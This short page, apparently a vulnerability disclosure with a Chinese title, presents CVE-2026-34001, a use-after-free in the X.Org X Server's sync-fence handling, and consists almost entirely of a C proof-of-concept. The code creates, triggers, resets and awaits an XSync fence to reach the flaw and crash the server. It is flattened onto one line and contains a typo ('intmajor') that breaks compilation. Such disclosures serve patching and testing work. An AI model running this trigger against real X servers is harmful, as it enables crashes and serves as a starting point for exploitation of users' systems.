CVE-2026-34001: X.Org X Server释放后重用漏洞

/* * PoC for CVE-2026-34001 (X.Org X Server miSyncTriggerFence UAF) * This is a conceptual PoC demonstrating the trigger mechanism. * Compile: gcc -o poc poc.c -lX11 -lXext */ #include <X11/Xlib.h> #include <X11/extensions/sync.h> #include <stdio.h> #include <stdlib.h> int main() { Display *dpy; XSyncFence fence; intmajor, minor; dpy = XOpenDisplay(NULL); if (!dpy) { fprintf(stderr, "Cannot open display\n"); return 1; } if (!XSyncInitialize(dpy, &major, &minor)) { fprintf(stderr, "XSync not available\n"); XCloseDisplay(dpy); return 1; } // Create and trigger fence to hit vulnerable path fence = XSyncCreateFence(dpy, DefaultRootWindow(dpy), 0); XSyncTriggerFence(dpy, fence); XSyncResetFence(dpy, fence); // Attempt to trigger UAF condition XSyncAwaitFence(dpy, &fence, 1); XSyncDestroyFence(dpy, fence); XCloseDisplay(dpy); printf("[+] PoC executed. Check Xorg logs for crash.\n"); return 0; }